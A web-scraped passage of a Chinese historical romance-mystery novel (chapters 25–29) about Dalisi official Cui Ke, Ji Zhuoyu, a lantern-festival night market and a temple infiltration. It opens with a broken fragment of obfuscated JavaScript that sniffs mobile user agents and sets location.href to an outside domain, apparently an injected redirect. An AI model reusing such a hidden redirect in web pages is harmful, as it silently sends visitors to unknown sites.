l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857391|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西彻底碎了,翻涌起无法掩饰的焦灼和一丝被狼狈戳穿的惊怒。 “不用了。” 他没了喝茶的心思。 崔十九心头一跳,再不敢看,猛地低下头,盯着自己靴尖。 崔恪极其僵硬地收回悬空的手,深吸一口气,胸膛起伏的弧度比平时大了些。 可还是一个字也没说,只是那握过茶杯的手,指节捏得咯咯作响,无声地背到了身后,藏进了宽大的袍袖里。 袍袖下的手臂,绷得像块铁,手腕处的青筋像是凸起连绵的山丘,青色从淡到深,呼啸着扩张。 崔恪不再去看桌子上的卷宗,目光随意落在某处,下颚线紧绷着,不吭声,眼底下却翻涌着看不见的惊涛骇浪。 “为什么,为什么没来提亲,我们昨日不是说好了吗?” 熟悉的女声沙哑哽咽,出现在他的耳边,并非是指责更没有埋怨,而是近乎卑微的哀求。 “子慎,明日午时,城郊杏树林,我会一直在那等你。” “我不要你娶别人,除了你,我更不会嫁给任何人,我们许过愿的,永不分离。” …… 他一把抓起桌角那柄从不离身的乌鞘横刀,刀鞘冰冷的触感似乎让他找回了一丝理智,但动作依旧带着一股压抑不住的焦躁。 “备马。” 两个字,像是从牙缝里挤出来,冰冷,生硬,裹挟着山雨欲来的风暴。 崔十九心头巨石落地,又猛地提起,应声如雷:“是!” 转身就朝门外冲去,靴子踏在青砖上,发出急促的回响。 这几日是太平长公主的生辰,天后特赦,各地夜市无宵禁,官家与百姓同乐。 两岸长街,灯火如昼,人声鼎沸,无数船灯挂在漕船舷边,映得水面波光粼粼。 “玉兄弟!这边有刚出锅的油墩子,香得很嘞。” 杨大牛一身簇新的靛青绸褂,油亮的头发在灯火下反光,嗓门洪亮得盖过了半条街的嘈杂。 大手不由分说地拽着季琢玉的胳膊,灵活地在人缝里钻,熟门熟路地挤到一个支着油锅的小摊前。 滚烫的油锅里,裹着茭白肉馅的面糊“滋啦”作响,炸得金黄酥脆,香气霸道地钻进鼻子。 杨大牛豪气地甩出几个铜板:“老板,来十个,多撒椒盐。” 季琢玉被他拽得一个趔趄,手里的零嘴和小玩意都快拿不住了。 紧绷了多日的神经,在这人间烟火的热闹里难得松弛下来。 没有仇恨,没有案子,只有满目的繁华与花灯。 她穿着不起眼的灰布短打,头发利落束起,像个清秀的小郎君,学着杨大牛的样子,踮着脚看油锅里翻滚的美食,眼睛亮晶晶的。 “喏,趁热。”杨大牛接过油纸包,烫得直吹气,却先塞了一个最大最鼓的给季琢玉,“小心烫,快尝尝,老张头的手艺,整个码头一绝。” 季琢玉咬了一口,滚烫的馅料烫得她直哈气,酥脆的外皮在齿间碎裂,咸香鲜美的汁水瞬间溢满口腔。 “唔,真好吃。”她含糊不清地赞道,腮帮子鼓鼓囊囊,漂亮的眉眼弯成了小月牙的形状。 杨大牛看她吃得香,比自己吃了还高兴,哈哈大笑,声如洪钟,引得周围人侧目。 他毫不在意,又指着前面一个吹糖人的摊子:“走,哥给你吹个大老虎。” 26. 第二十六章 两人顺着人流往前挤。 丝竹笙箫之声从临河的茶楼酒肆里飘出来,混着叫卖声、笑闹声、猜拳行令声,织成一张巨大的、喧腾的网。 卖花灯的少女提着精巧的兔子灯、莲花灯穿梭,嘴里吆喝着公子小姐买花灯。 耍猴的艺人敲着锣,引得孩童围观驻足阵阵惊呼。 卖菱角、莲蓬的渔女挽着竹篮,声音清脆,绣花鞋上沾着河边的泥土。 打铁花的匠人将烧红的铁水泼向夜空,瞬间炸开漫天金雨,引来一片震天的喝彩。 “瞧见没,这就是咱们江南的夜。”杨大牛得意地扬着下巴,大手一挥,指点着这片由他杨家船帮的船灯照亮的璀璨,“比长安那死气沉沉的宵禁强多了吧?哈哈哈。” 他顺手从旁边小摊上抄起两串红得发亮的冰糖葫芦,硬塞了一串给季琢玉:“拿着!甜嘴儿!” 自己也咬了一大口,咯嘣脆的糖壳裹着酸溜溜的山楂,吃得他龇牙咧嘴。 季琢玉学着他的样子,也狠狠咬下一颗裹满糖衣的山楂。 酸味激得她眯起了眼,随即又被浓郁的甜意包裹。 糖浆沾在嘴角,亮晶晶的。 她看着杨大牛那副毫无心机、快意恩仇的样子,听着耳边震耳欲聋的市井喧嚣,感受着舌尖酸甜交织的滋味。 一种久违的、纯粹的轻松和快乐,如同温热的潮水,将她从头到脚淹没。 好想一下子回到了小时候,那时她跟花大叔两个人生活在江南。 花大叔没法一个人照顾她,她又总生病,花大叔要出去干活赚钱,把她一个人丢在家里不放心。 于是,便带着她去长安城找秦姨。 她跟着杨大牛,在人声鼎沸、光影交错的繁华长街上,笑得没心没肺,仿佛所有的阴霾都被这盛世灯火暂时驱散。 灯火在她带笑的眼角跳跃,映得那双眸子亮闪闪。 她没注意到,远处临河酒肆二楼的阑干阴影里,一道冰冷的目光,如淬了寒气的箭矢。 穿过喧嚣的人潮和热闹的灯影,盯在她沾着糖渍勾起弧度的唇角上。 目光的主人,颀长的一道身影,握着栏杆的修长手指蜷起,骨节泛红。 浑身散发着幽怨,阴冷,怨而不怒。 他没有生气的理由,甚至连走过去指责她不安分的身份也没有。 “你今日若是不回头,就这么走了,今后我如何,与你再无干系。” 阁楼下,糖画摊前,此刻笑盈盈的人,曾说过的话回荡在他耳边。 是啊,与他再无干系。 这几日的相处,他心里已有了猜测,她不记得他们之间曾发生过的诸多事情,爱也好,恨也罢,她都忘了。 于她来说,是好事。 忘了就不痛了,她就能像现在这样,笑得欢心,乐得自在。 他这个记得一切的人,好像做了一场梦,梦醒了,人却没醒,被困在梦境里,迟迟不愿接受现实。 夜市喧天的声浪里,糖画摊子前腾起甜甜的焦香。 季琢玉在老匠人的指导下,手腕缓慢地挪动,金黄的糖浆在冰凉的石板上流淌、凝固,眨眼间,一只威风凛凛、线条粗犷的老虎便昂首立于竹签之上。 “好好好,真像,好手艺。”杨大牛叉着腰,对着那刚吹好、还带着余温的糖老虎哈哈大笑,手拍得季琢玉肩膀直晃,“玉兄弟,你画的这只老虎真是神了,我瞧着越看越像真的。” 季琢玉捧着亲手做的糖老虎,抿着嘴笑。 目光落在那只线条刚硬、带着股凛然煞气的糖老虎上,心里莫名地“咯噔”一下。 绷直的虎背,冷硬的线条……怎么看怎么像……崔大人! 坏了,她出来这么久,崔恪肯定发现了,一想到他那张凶巴巴冷冰冰的脸,她就后背一凉。 这下,他不会真的要变成老虎了吧。 她赶紧甩甩头,把这诡异的联想甩开,自己都觉得好笑。 一定是被那人折腾得魔怔了。 杨大牛一手拎着油纸包着的油墩子,一手抓着两串冰糖葫芦,怀里还揣着包刚买的蜜饯果子,活像个行走的杂货摊。 他瞅着自己腾不开的手,又馋那糖老虎的香甜,大大咧咧地把脑袋往季琢玉那边一凑:“玉兄弟,帮哥尝尝味儿,看这老虎甜不甜。” 季琢玉失笑,觉得他这模样实在憨直可爱。 她捏着手里那根穿着糖老虎的竹签,刚想把那金黄的老虎脑袋凑到杨大牛嘴边。 斜刺里,一只修长、骨节分明、却带着凉意的手,骤然伸了过来,又快又准。 “嗖”地一下。 穿着糖老虎的竹签,连同上面那只威风凛凛的老虎,瞬间从季琢玉手上消失。 季琢玉的手还保持着递出去的姿势,僵在半空。 她愕然转头,瞳孔骤缩,吞咽了一下口水,像是被吓到了。 “大,大人……您怎么在这儿?” 他不应该在府衙翻陈年旧案吗,她以为自己已经很了解崔大人了,他是个喜欢废寝忘食查案的“疯子”。 灯火斑斓处,崔恪不知何时已悄无声息地站在了糖画摊旁边。 一身墨蓝官袍,眉眼平静,波澜不惊。 与周遭喧嚣热闹格格不入,他脸上没什么表情,依旧是沉静的,仿佛夺走的糖画本来就是他的。 季琢玉盯着他,反复看他的脸,夺了别人的东西,还脸不红心不跳,佩服佩服。 他深不见底的黑眸里清晰地倒映着季琢玉惊愕的脸,她的瞳孔里也有一个小小的他。 双目对视,熟悉又诡异的感觉。 他的唇角下意识勾起,是自己都没能察觉到的笑容。 杨大牛脸上的笑容僵住,愣在一旁,到嘴的糖人就这么被人横插一脚夺去了,船帮少帮主何时受过这等羞辱? “姓崔的,你找死,还老子糖老虎!” 季琢玉赶紧伸手抓住杨大牛的胳膊,他的拳头眼看就要打出去了。 崔恪看都没看杨大牛,目光静静地落在自己手中那根刚抢来的竹签上。 金黄的糖老虎在他冷白的指尖显得格外轮廓分明,甘甜诱人。 他薄唇微启,声音不高,却十分清晰,带着一种理所当然的冰冷:“老虎?不像。” 这话不知是评价那老虎,还是意有所指。 季琢玉脸一变,哪儿不像了,分明就是老虎。 她柳眉倒竖,也顾不上什么身份差距了,指着他就嚷:“你……你怎么又抢人东西,前几日在船上抢我糖葫芦,今日又抢我的糖老虎,堂堂少卿大人,俸禄不够你买糖吃吗?专盯着我的零嘴儿抢。” 她气鼓鼓的,脸颊因为激动染上一层薄红,在摇晃的灯火下格外生动。 崔恪凝视着她,捏着那根竹签的手指,几不可查地收紧 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杨大牛跳脚大喊,仰着头四处找寻季琢玉的身影,朝着远处快步走去。 角落小巷外,两道拉长的影子投在湿漉漉的石板上。 季琢玉走得飞快,靛青的衣摆带起小小的风。 方才被崔恪强行拽到一旁,眼睁睁看着杨大牛跑去相反的方向找她,她心里的憋闷劲儿还没散。 她故意把步子踩得重重的,青石板发出清脆的“嗒、嗒”声,在寂静的巷子里回响,像是对身后那人的无声怨气。 崔恪沉默地跟在几步之后,单手背在身后,深眸未曾挪开片刻,盯着她的背影。 墨蓝的官袍在黑夜几乎看不见,腰间的玉带钩反射一点微弱的月光。 月亮又大又圆,好像抬手就能触碰到。 他步履沉稳,不远不近,像是她的影子。 两人一前一后,巷子又窄,他的存在感很强,来自身后无声的压迫感让季琢玉更觉烦躁。 “哼!”她越想越气,猛地停下脚步,转过身看着他,也不说话。 抬起穿着软底绣鞋的脚,对着崔恪近在咫尺、一尘不染的官靴靴面,狠狠地跺了下去。 “唔。”崔恪闷哼一声,猝不及防,脚背传来清晰的钝痛。 他身形微晃一下,眉头几不可查地蹙紧,看着眼前气红了脸的姑娘。 季琢玉跺完,看也不看他,扭头就走。 出了气,心里好受多了。 这次走得更快,几乎是小跑起来,不再是因为生气,而是后怕。 她踩了人,才想起官大一级压死人的道理,崔恪想杀她比碾死一只蚂蚁还容易。 身后的男人低头看了看靴面上那个小小的泥印,又抬眼望向前面那个倔强单薄的背影。 他低下头,不怒反笑,薄唇勾起一抹淡如月光的上扬弧度。 从前就如此,如今还是这样,她什么时候才能知道,袭官是重罪,株连九族的重罪。 记忆回笼,铃铛般的悦耳笑声由远及近。 “哈哈哈,株连九族?我才不怕呢,我没有九族的,花大叔说我爹娘早死了,在这世上一个亲人都没有。” “该害怕的人是你,子慎,日后你可是要在我的九族里的。” 27. 第二十七章 头顶的圆月不知不觉被一块黑云遮住,脚下的光越来越浅淡,像是沾了许多水的墨迹,晕染开,几乎要与青石板路融为一体了。 夜风徐徐,带着沿岸运河湿润的水汽和不知名的花香。 两旁的粉墙黛瓦在灯影里显得格外温柔。 季琢玉闷头疾走,踩过一块又一块即将消失的光斑,她心里害怕,只有听到身后的脚步声才放松紧绷的神经。 突然,“汪!汪汪汪!”一声狂躁的狗吠毫无预兆地从旁边一条更黑的岔巷里炸开。 一道脏兮兮的、半人高的黑影快速蹿了出来,带着浓重的腥臊气和凶狠的咆哮,直扑向毫无防备的季琢玉。 “啊——” 惊恐瞬间攫住了她的心脏,她脑子里一片空白,身体的本能快过一切思考。 她猛地转身,几乎是扑撞着向后倒去,双手在极度恐惧中下意识地、死死地抱住了离她最近的那个人。 温热的带着熟悉松针冷香的胸膛,坚实的如同城墙般的触感。 季琢玉整张脸都埋了进去,柔软与坚硬的感觉同时袭来,她的双臂紧紧箍着崔恪劲瘦的腰身,身体瑟瑟发抖。 她什么都不怕,最怕的就是狗。 花大叔带着她住在江南的时候,一个不小心,她被当地富商家的恶犬咬伤过。 受惊过度,烧了三天三夜,差点就死了。 连城中的最有名的大夫都说没救了,后来不知道花大叔去哪儿弄来的灵丹妙药,她吃下药便好起来了。 身体痊愈,精神却没有恢复从前,直到现在,她都害怕狗。 野狗只是虚张声势,狂吠着从他们脚边一掠而过,伴随着几声渐远的狗吠窜进了另一头的黑暗里。 危险消失。 季琢玉紧绷的身体骤然松弛,狂跳的心慢慢回落。 意识回笼的瞬间,她才惊觉自己的双手放在哪儿了,她怎么会抱着崔大人的腰? 脸颊下是质感挺括的官袍布料,鼻尖萦绕着他身上清冽的松针气味。 手心清晰地感受到布料下紧绷有力的肌肉轮廓,腰腹的线条紧实而流畅,隔着衣物也能感受到坚硬和热度,充满了男人特有的侵略性和安全感。 她回想起邻居曼娘说过的话:“你年纪小,等再过几年成了亲就晓得有男人的好了,这其中的好,不是表面的,是只你自个知道的好。” 她不懂这话的意思,追问曼娘好几日,曼娘才悄咪咪跟她解释,还随手递给她一册画本。 与其说是画本,不如说是禁书。 “轰”地一下,一股滚烫的热流从脚下直冲头顶。 季琢玉的脸颊和耳朵,甚至脖颈,瞬间红得像煮熟的虾子。 她触电般猛地松开手,用尽全身力气一把推开崔恪,“你……你……”她踉跄着后退两步,指着崔恪,又羞又恼,语无伦次。 “你离我那么近干什么!”仿佛刚才主动扑上去紧紧抱住人家的不是她。 崔恪被她推得微微后退半步,稳住身形。 他低头,看着自己腰侧官袍上被季琢玉慌乱中抓出的几道细微褶皱,又抬眸看向眼前这个面红耳赤、眼神躲闪的女子。 季琢玉清晰地听到自己急促的呼吸和心跳,这声音越是清楚,她脸越是绯红,越是滚烫。 “是你自己抱上来的。”崔恪一本正经。 季琢玉瞪圆眼睛,几乎是被拆穿后的恼羞成怒,她结巴起来:“那,那你怎么不推开我,你明明知道我是……” 明知道她是女子。 崔恪还没来得及解释,季琢玉眼珠一转,一拍脑袋说:“我知道,你们断袖之人,不在乎男女有别的。” “断袖之人?”崔恪浓眉一蹙,疑惑地看着她。 他身上哪一点看起来像是有龙阳之好? 季琢玉挑眉,点点头道:“你跟崔十八不是……诶,对了,他怎么没跟你一起南下?” 她忽然想起来这几日没见到崔十八的人影,一直都是崔十九在崔恪身边。 他人呢?被留在长安城了吗? 崔恪冷下脸,浑身的气压低得不能再低,一字一句:“莫要再胡说,我没有断袖之癖。” 他又说:“崔十八,人在岭南。” 季琢玉一愣,她眨着眼睛看崔恪,岭南,那不是瘴气横生,尸骨遍地的穷凶极恶之地吗。 “他为何去岭南?” 前几日还在长安城,这会儿就到了岭南,身为大理寺的带刀护卫,说离开长安城就能离开吗? “大概是他惦念我父亲吧。”崔恪语气平淡。 季琢玉点点头,觉得他所言在理,崔知州一个人在岭南,肯定也需要忠诚的左膀右臂。 崔十八对崔家忠心耿耿,担忧崔知州在岭南过的不好,前去照顾也在情理之中。 此时,远在岭南的崔十八,接替了十九的任务,正在秘密监视当地走私粗盐的商贩,一身夜行衣,蹲在屋顶打了好几个喷嚏。 真是怪,闷热的天也能感染风寒?看来他明日得多加件中衣了。 崔恪的目光在她脸上停顿了数息,眼底似乎有什么极细微的东西轻轻漾开,又迅速归于沉寂。 他什么也没说,只是抬手,极其自然轻轻拂了拂自己腰侧被抓皱的袍子。 动作从容,仿佛只是掸去一粒微不足道的尘埃。 他重新抬眼,目光平静无波地看向季琢玉,声音低沉依旧,听不出任何波澜。 “走了。” 说完,率先转身,继续沿着幽深寂静的青石小巷,朝着府衙的方向走去。 季琢玉站在原地,脸上热浪未消,指尖还残留着方才紧贴他腰腹时那灼热坚硬的触感。 她抬起手,盯着自己的手心看,手慢慢蜷缩,方才那种感觉好像被收进了心里。 似曾相识的安全感,温暖又熟悉。 她小跑着追上去,想着谢过崔大人,无论怎样,他没推开她,没让她被恶犬吓晕过去。 “大人,您真厉害,不仅能捉拿凶犯,还能吓退野狗。” 这话说出来,怎么那么不中听。 “我……我没有说大人凶狠,是……是大人您的威严逼退了野狗。” 她现在真恨自己白天没好好听府衙的那群人奉承崔恪,听了记在心里,此时也能说出一句半句,不至于把奉承的话都说的这么难听。 她似乎听到走在前面的崔大人轻笑了一声。 崔十九看到两人回来,急忙迎上去,自然地接过大人递过来的外袍。 “季姑娘,时候不 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他斜睨着崔恪身上的墨蓝官袍,竟无半分敬畏,反而带着一丝有恃无恐的倨傲。 崔恪面沉如水,亮出腰间金灿灿的大理寺少卿鱼符:“大理寺办案,让开。” 胖和尚眼皮都没抬一下,皮笑肉不笑:“哎哟,原来是崔少卿,失敬失敬。不过嘛……” 他拖长了调子,“此乃薛国公督建、为天后娘娘祈福的圣地,没有国公爷的手谕,或是内侍省监工的令牌,便是宰相来了,也得在外头候着,惊扰了法相金身,亵渎了天后圣颜,这罪过,小的可担待不起,少卿您……恐怕也担待不起吧?” 话里话外,抬出武承嗣和武后两座大山,压得死死的。 崔恪的眼神瞬间冷得能冻死人,按在刀柄上的指节泛白。 崔十九气得脸都青了,手按在刀柄上,几乎要拔刀。 季琢玉眼珠一转,此地果然有问题,早饭时听陆长史随口提起和尚们为天后修慈悲像的事情,她问是从何时开始修的,陆长史说依稀记得是半年前。 半年前,不正是第一个少女失踪前后,时间差不了几日。 她与崔恪对视一眼,便明白,看来这报恩寺便是他们要去查的第一个地方。 不让进,只能硬闯? 对方明显有备而来,且占着“为天后祈福”的大义名分,强行冲撞,正中下怀。 僵持之际,笋尖般的柔荑轻轻扯了扯崔恪的袖口。 季琢玉凑近他耳边,压得极低的声音带着一丝狡黠:“硬的不行,来软的,跟我来。” 半刻钟后。 山上多了两个穿着灰扑扑粗布短褂,脸上抹着锅底灰和泥巴,扛着两把破旧的小铲的“泥瓦小工”。 低着头,混在一队被监工吆喝着、刚从山下背了泥胚上来的民夫队伍里,晃晃悠悠地通过了那道戒备森严的山门。 为首的“小工”身形挺拔,即使穿着破烂,也难掩身上的贵气俊朗。 他旁边那位脸上抹灰,身形稍显单薄、动作灵活自然,头发乱糟糟,混在疲惫麻木的民夫中毫不起眼。 28. 第二十八章 崔恪压低了头上那顶破旧的幞头,遮住大半张过于清俊的脸,粗布麻衣也掩不住那股子与周遭格格不入的挺拔。 他学着前面人的样子,吃力地晃了晃肩膀,试图让背上那筐沉甸甸的土显得不那么轻松,笨拙的动作引得筐沿又洒下不少土块。 “走稳当些!”旁边一个监工的和尚皱眉呵斥,手中的戒尺不客气地抽在另一个苦力微微打颤的腿上,“没吃饱饭吗?误了给天后娘娘塑慈悲像的时辰,仔细你们的皮!” 崔恪赶紧又缩了缩脖子,把脸埋得更低。 季琢玉跟在他身后,压得步子微沉,咬着牙,一声不吭地跟着队伍往前挪动。 失算了,她没想到崔恪穿苦力的衣裳看起来也不像是苦力,他身上那股与生俱来的高位者气质,难掩半分。 崔恪藏在帽檐阴影下的黑眸,清亮锐利,不动声色地扫视着角门两侧守卫的武僧和进进出出的管事和尚,将他们的位置、神态尽收眼底。 “跟紧我,别把头抬起来。”季琢玉忍不住嘱咐他,眼看就要进到寺庙里了,可千万别出岔子。 队伍缓慢地向前蠕动,就要穿过守卫森严的角门。 “站住!” 一声断喝,吓得季琢玉身体一抖,脸色刷的一下白了,紧闭双眼,祈祷千万别是叫他们。 崔恪脸色一沉,瞥见一个和尚朝着他们走过来,他身体一斜,将季琢玉挡在身后。 一个身材干瘦、眼风锐利的中年和尚,无声无息地挡在崔恪面前。 手中的戒尺带着一股风,精准地向上一挑。 “啪!” 崔恪下颌一痛,戒尺冰凉的硬木底端抵住他的喉结下方,力道大得迫使他不得不仰起头,露出了被幞头阴影遮盖的整张脸。 沾满泥土的脸,线条依旧清晰俊朗,与周遭苦力们粗糙黝黑的面容形成了刺眼的对比。 和尚细长的眼睛眯缝起来,目光像刀子一样刮过崔恪的脸、脖颈、肩膀,最后落在他那双虽然沾满污泥、却依旧能看出骨节分明的手上。 极度怀疑的神色在和尚眼中凝聚,他仔细打量崔恪,断定从前没见过这一号人。 “新来的?哪个村的?”和尚的声音又冷又硬。 搬运沙土的队伍突然停下来,后面几个苦力吓得大气不敢出,脚步停滞。 监工和尚停下挥动的戒尺,打量着看向这边。 崔恪喉结在戒尺的压迫下滚动了一下,黑眸压低,脸上阴霾密布,杀意几乎是悄无声息的爬上了他的眼底。 “大师!大师息怒!”急切又带着点惶恐的女声插了进来。 季琢玉猛地一步抢上前,挡在崔恪侧前方,脸上堆满了讨好的、近乎卑微的笑容,腰也下意识地弯得更低。 她指着崔恪,语速又快又急,刻意模仿此地的乡音。 “大师,他,他是我表哥,您行行好吧,我们实在没法子才叫他混进来干活的。”她声音里适时地带上哭腔。 “表哥他读了十年圣贤书,十年啊,家里砸锅卖铁,供他考功名,可他就是考不上,回回名落孙山。“ “家里实在是揭不开锅了,连耗子都饿跑啦,这才求了管事的爷,让表哥跟着我,来这儿出把子力气,挣口糊口的饭食,大师,您行行好,给条活路吧。” 她一边说,一边偷偷去瞄和尚的脸色,清澈的眼睛里盛满了可怜巴巴的祈求。 这番话说得情真意切,声泪俱下,周围几个苦力似乎也被勾起了自家心酸,眼神里流露出几分同病相怜的黯淡。 “大师,我们都是苦命人,您就高抬贵手,放过他和他表哥吧。”甚至有人为季琢玉说话。 监工和尚脸上的厉色缓和了一丝,欲要说什么,怎料挡路和尚的眼神却没有丝毫软化。 审视的目光从季琢玉清秀轮廓的脸上滑过,停在她过于纤细的脖颈和没有喉结的光滑皮肤上。 戒尺毫无征兆地离开了崔恪的下颌,闪电般调转方向,精准地指向季琢玉的咽喉。 冰冷的硬木尖端眼看就要压在她脆弱的喉管上了,她瞳孔里满是震惊,脖子微微向后倾。 斜侧伸过来一只大手抓住戒尺一端,崔恪冷下脸,眼神极具威慑力扫视过和尚的脸。 和尚吓了一跳,还从没人敢抓过他手中的戒尺,他可是国公爷面前的红人。 “你,”和尚的声音比刚才更冷,每一个字都像冰锥,“你要造反吗!” 季琢玉看向崔大人,一股寒气瞬间窜遍全身,头皮发麻,她的目光落在崔恪的另一只手上。 崔恪的手握住藏在衣服下面的佩剑,眼看就要拔剑了,忽然一道熟悉响亮的声音从季琢玉身后传来。 “玉兄弟!” 洪亮粗豪的喊声,裹挟着腾腾的热气,脚步声又急又沉。 所有人的目光,包括负责看管劳力的和尚们,都被这突兀的喊声吸引,视线转向声音来处。 杨大牛高大魁梧的身影,斜着身体分开几个呆立的苦力,大踏步闯了过来。 一身靛蓝色劲装,敞着怀,露出结实的古铜色胸膛,腰间扎着宽皮带,脚蹬牛皮快靴,带着一股子码头和江湖混合的剽悍气息。 浓眉大眼,方脸阔口,咧着嘴,笑容极为豪爽热络,几步就跨到了季琢玉身边。 “哎呀,可算找着你了。” 杨大牛极其自然地把手拍在季琢玉肩上,力道之大,拍得她身子一歪,肩上的土筐差点滑落。 他仿佛完全没看见旁边脸色阴沉的崔恪,冲着干瘦和尚嘿嘿一笑,露出一口白牙。 “大师,大水冲了龙王庙啊,这是我杨大牛的结拜兄弟,玉兄弟。” 他大拇指一翘,指向自己胸口,带着一股不容置疑的江湖气。 “这小子今儿带个新入伙的兄弟来寺里讨碗力气饭吃,不懂规矩,冲撞了大师,您可千万海涵。” 他一边说,一边极其熟稔地从怀里摸出几枚油光锃亮的大钱,动作快得只留下一道残影,不容分说地就往那和尚手里塞。 “这点小意思,给大师添碗茶水,润润嗓子。回头我请大师去喝正宗的波斯三勒浆,包管痛快。” 干瘦和尚被杨大牛这连珠炮似的一通招呼和塞到手里的钱弄得有些发懵。 他认得杨大牛这张脸,也清楚杨家船帮在漕运上的分量,尤其是眼下报恩寺修建慈悲像,所需的不少木石材料,都要仰仗杨家船帮的运力。 少帮主的面子,不得不给。 他脸上的冰霜裂开,目光在杨大牛豪爽的笑脸、手里沉甸甸的大钱, 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无数苦力其间穿梭忙碌,号子声、锤凿声、监工和尚的斥骂声混杂成一片喧嚣的噪音。 几堆小山似的黄土和沙石堆在场地边缘。 杨大牛并未带他们深入工地,而是七拐八绕,熟门熟路地走到几堆高大的黄土垛后面。 这里相对僻静,飞扬的尘土被土堆挡住不少,喧闹声也显得遥远模糊了些。 刚一停下脚步,杨大牛脸上那副豪爽热络的笑容瞬间消失,换上了一层凝重。 他猛地转过身,浓眉紧锁,看着季琢玉,压低了声音,粗犷的嗓门带着明显的焦灼和后怕。 “玉兄弟,你疯了吗?”他上前一步,几乎要揪住季琢玉的衣领,“你知不知道这是什么地方?这些个和尚都是国公爷的手下,你竟敢硬闯,还带着姓崔的这个小白脸。” 他瞥了一眼沉默不语的崔少卿,眼神里满是怀疑,随即又紧紧盯回季琢玉。 “秦姨和花大叔知道你这般玩命吗?不就是每日百文的补贴,老子有的是钱,你想要多少拿去便是,犯不着在这给人卖命。” 说到“给人卖命”四个字,他若有若无地瞥了崔恪一眼,意有所指。 “秦姨”和“花大叔”几个字眼从杨大牛嘴里自然地说出来,猛地砸进崔恪的耳中。 崔恪原本低垂的眼帘倏地抬起,目光如两道冰冷的箭,落在季琢玉脸上。 他猛地伸手,一把钳住季琢玉的手腕,力道之大,她的骨头都要裂开了。 “你带他见过家中长辈?” 崔恪的声音压得极低,一个一个字从齿缝里挤出来,每一个字都淬着冷气。 深邃的眼睛里翻涌着被强行压抑的震惊与难以置信,以及一种被深深刺痛的怒火。 他的目光沉甸甸地压在季琢玉侧脸上,几乎让她无法呼吸。 季琢玉被他攥得手腕生疼,对上翻涌着风暴的黑眸,惊愕不已。 她张了张嘴,想解释什么,却一时语塞。 秦姨和花大叔确实见过杨大牛,但那是因为……她从前跟花大叔住在江南,与杨家是邻居。 崔大人生这么大的气是为何啊。 29. 第二十九章 杨大牛看到崔恪抓住季琢玉手腕的动作,眉头拧得更紧,眼神里掠过一丝不悦。 崔少卿总爱管旁人的事,他好歹也是一个大官,心思不放在案子上,放在玉兄弟身上,算怎么回事。 尤其是听到崔恪质问的语气,他心中的不快更强烈了。 “姓崔的,你除了欺负自己的手下,还会干什么!” 他是真瞧不上这种人,作威作福,有点权势就苛责手下。 杨大牛双臂往胸前一抱,一身健硕的肌肉线条在靛蓝劲装下贲张着。 他故意挺直了腰板,下巴微微扬起,冲着崔恪露出一个极其夸张的、带着得意和炫耀的笑容,声音洪亮得仿佛生怕别人听不见。 “那是自然。”他嗓门拔高,震得黄土垛上的细尘都簌簌落下,“玉兄弟拿我当亲大哥,亲的。上次去他家,秦姨亲手烙的胡饼,那叫一个香。” 他伸出两只大手,夸张地比划着,“我杨大牛一口气,吃了整整十个,十个胡饼,秦姨高兴得不得了,直拍我肩膀,夸我‘好小子,身体壮实,吃得香,力气肯定也大。’啧啧,秦姨那眼神,喜欢的不得了,硬要留我住上十几日。” 他每说一句,崔恪的脸色就阴沉一分,攥着季琢玉手腕的手指就收紧一分。 季琢玉感觉自己的腕骨都快被他捏碎了,痛得倒抽一口凉气,却又挣脱不开。 “大人,我疼……” 杨大牛看着崔恪越来越黑的脸,心里那股莫名的舒坦劲儿更足了。 他故意凑近崔恪,咧着嘴,笑得露出一口白牙,眼神里的挑衅几乎要溢出来。 “怎么,这位表哥羡慕了?秦姨烙的胡饼,那可是这个!” 他再次竖起一根粗壮的大拇指,在崔恪眼前晃了晃。 崔恪的呼吸一窒,胸膛剧烈起伏了一下。 盯着杨大牛意洋洋的脸,猛地转向季琢玉,眼神复杂,晦暗不明。 目光里有剧痛,从前,他无数次想踏入她的家门,想堂堂正正地拜见她的长辈,却总被无形的屏障阻隔在外。 无论是天时还是地利,甚至人和,都在阻止他去胡饼铺子,不是长安城中临时出了案子,就是天后召他入宫,季琢玉未曾为此事生过气,笑着说再找合适的时候。 合适的时候迟迟未到,等来的却是她亲手剪断青丝,歇斯底里地与他一刀两断。 如今,这道伤疤被杨大牛无意揭开,疼得厉害。 他喉结剧烈地滚动着,似乎想说什么,最后却一个字也没能吐出。 抓着季琢玉手腕的大手,指关节因为过度用力而发出细微的“咔”声,手背上青筋根根暴起。 他使出所有的力气,又怕弄伤她,最后疼的人是他,掐进手心的指甲里渗着鲜红的血。 季琢玉当真以为崔大人如此动怒是不喜表哥这个称呼,觉得自个身份地位都在杨大牛之上,怎么却要落他之后。 “大人,您松开我,我以后说您是我长兄还不成吗?” 崔恪垂眸盯着她看,脸上的怒气没有半分消减,又听季琢玉说:“嫡亲的哥哥,血浓于水。” 崔恪的脸更黑了,谁要跟她称兄道弟! 他松了手,头也不回地走了。 季琢玉揉揉微红的手腕,耸了耸肩,歪头跟杨大牛说:“你又不是知道崔大人脾气古怪,干嘛惹怒他,到头来受罪的人还是我。” “玉兄弟,你也晓得在这等人身边做事是白白受罪,何必再听他差遣,你来跟我做事,我让你号令杨家数百个兄弟,这才威风!” 杨大牛说着就要挖墙角,眼珠一转,伸出五个手指。 “何意?”季琢玉不懂。 杨大牛:“每日五百文,如何?” 季琢玉眼睛一亮,又摇摇头,“你打量着蒙我呢,干什么每日能挣五百文,这钱怕是你从的私房钱里出的吧。” 杨大牛不好意思地挠挠头,还真是被玉兄弟一眼就看穿了。 杨家船帮如今还是他爹管账,每日五百文价钱高的离谱,从江湖上请武林高手压船也不过才这个价。 “大牛哥,你的好意我心领了,我还是在大人身边做事吧,每日一百五十文已经知足了。” 杨大牛追着她的脚步,在她身边劝道:“你是觉得我有私心,怕我是看在兄弟面子上才找你来船帮干活的?” 季琢玉抬眼看他,一副你心知肚明干嘛还要再问我的样子。 杨大牛给她每日五百文的工钱,给别人十文,是要激起群愤的,他是个粗心的,不懂这些,季琢玉不想让他惹麻烦,身为少帮主,他得有点威严。 总做这些小孩子的事情,日后怎么接管船帮? 杨大叔身子一直不好,如今也已年迈……他却跟从前一样,幼稚的像个孩子。 杨大牛拽住她的手臂,吆喝道:“就算我有私心,旁人也不敢多说什么,谁要是敢多嘴,我就让他滚出船帮。玉兄弟,我句句真心,你一定要考虑考虑。” 